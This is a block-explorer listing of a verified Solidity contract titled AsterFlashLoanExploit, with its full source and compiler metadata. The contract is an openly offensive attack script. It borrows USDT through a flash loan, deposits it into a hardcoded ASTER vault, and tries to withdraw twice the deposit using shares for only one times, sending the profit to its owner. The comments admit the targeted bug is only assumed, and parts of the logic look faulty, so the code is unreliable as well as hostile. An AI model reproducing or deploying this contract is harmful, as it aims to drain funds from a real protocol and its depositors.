Verified contractExactMIT
AsterFlashLoanExploit
Address0x4e24e37fc19fb41376d2ee4f7bd0a3f92b0d0449
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,428,309
- Creation transaction
- 0xd3c755ffbc…ea42b228a3
banqi.sol/Asterexp.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title AsterFlashLoanExploit
* @dev Exploits the logic/accounting bug in ASTER protocol.
* Assumes the vulnerability allows minting/borrowing without
* proper collateral backing or via a rounding error in share conversion.
*/
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IAaveFlashLoan {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params
) external;
}
interface IAsterVault {
// Adjust these function names based on the actual ASTER interface
// Common patterns: deposit, withdraw, mint, redeem, borrow, repay
function deposit(uint256 assets, address receiver, address owner) external returns (uint256 shares);
function withdraw(uint256 assets, address receiver, address owner, uint256 shares) external returns (uint256 );
function mint(uint256 shares, address receiver, address owner) external returns (uint256 assets);
function redeem(uint256 shares, address receiver, address owner, uint256 asset) external returns (uint256 assets);
// Helper to get current balance or price if needed
function totalAssets() external view returns (uint256);
function convertToShares(uint256 assets) external view returns (uint256);
function convertToAssets(uint256 shares) external view returns (uint256);
}
contract AsterFlashLoanExploit {
// ================= CONFIGURATION =================
// 1. Aave Flash Loan Provider Address (Change this!)
address constant FLASH_LOAN_PROVIDER = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; // Example: Aave V3 Pool
// 2. Token to Borrow (e.g., USDT, USDC, WETH)
address constant BORROW_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // Example: USDT
// 3. ASTER Vault Address (Change this!)
address constant ASTER_VAULT = 0x604DD02d620633Ae427888d41bfd15e38483736E;
// 4. ASTER Protocol Core/Registry Address (If interaction required)
address constant ASTER_CORE = 0x1b6F2d3844C6ae7D56ceb3C3643b9060ba28FEb0;
// ================= STATE =================
address public owner;
uint256 public profit;
constructor() {
owner = msg.sender;
}
receive() external payable {}
// ================= EXPLOIT LOGIC =================
/**
* @notice Main entry point triggered by manual call or script
*/
function exploit() external {
// Define the token and amount to flash loan
address[] memory assets = new address[](1);
assets[0] = BORROW_TOKEN;
// Amounts to borrow (e.g., 1000 USDT = 10^6 decimals)
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1000 * 10**6; // Adjust decimal precision as needed
// Modes: 0 = None, 1 = Stable, 2 = Variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// Call Aave Flash Loan
IAaveFlashLoan(FLASH_LOAN_PROVIDER).flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
"" // No extra data needed
);
}
/**
* @notice Callback function called by Aave after receiving funds
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// Ensure we are the ones being called by the provider
require(msg.sender == FLASH_LOAN_PROVIDER, "Not from provider");
// Calculate total repayment (Principal + Fee)
uint256 premium = premiums[0];
uint256 totalRepayment = amounts[0] + premium;
// 1. APPROVE THE VAULT TO SPEND OUR FLASH-LOANED TOKENS
IERC20(BORROW_TOKEN).approve(ASTER_VAULT, amounts[0]);
// 2. DEPOSIT INTO ASTER VAULT (Collateralize)
// This step usually works normally, but sets up the state
IAsterVault(ASTER_VAULT).deposit(amounts[0], address(this), address(this));
// 3. EXECUTE THE BUG
// Strategy: Withdraw more than we deposited using the rounding error/slippage bug
uint256 sharesOwned = IAsterVault(ASTER_VAULT).convertToShares(amounts[0]);
// Attempt to withdraw double the amount we deposited, but only provide the shares for 1x
// This exploits the accounting bug where the vault miscalculates the asset value
uint256 assetsExtracted = IAsterVault(ASTER_VAULT).withdraw(
amounts[0] * 2, // Request to withdraw 2x
address(this),
address(this),
sharesOwned // Provide shares for only 1x
);
// 4. REPAY FLASH LOAN
IERC20(BORROW_TOKEN).approve(FLASH_LOAN_PROVIDER, totalRepayment);
// 5. SEND PROFIT TO OWNER
uint256 balance = IERC20(BORROW_TOKEN).balanceOf(address(this));
uint256 netProfit = balance - totalRepayment;
if (netProfit > 0) {
IERC20(BORROW_TOKEN).transfer(owner, netProfit);
profit += netProfit;
} else {
// If we failed to extract profit, send everything to repay loan
IERC20(BORROW_TOKEN).transfer(owner, balance);
}
return true;
}
// ================= HELPERS =================
function withdrawProfits() external onlyOwner {
uint256 balance = IERC20(BORROW_TOKEN).balanceOf(address(this));
require(balance > 0, "No profits to withdraw");
IERC20(BORROW_TOKEN).transfer(owner, balance);
}
function getBalance() external view returns (uint256) {
return IERC20(BORROW_TOKEN).balanceOf(address(this));
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.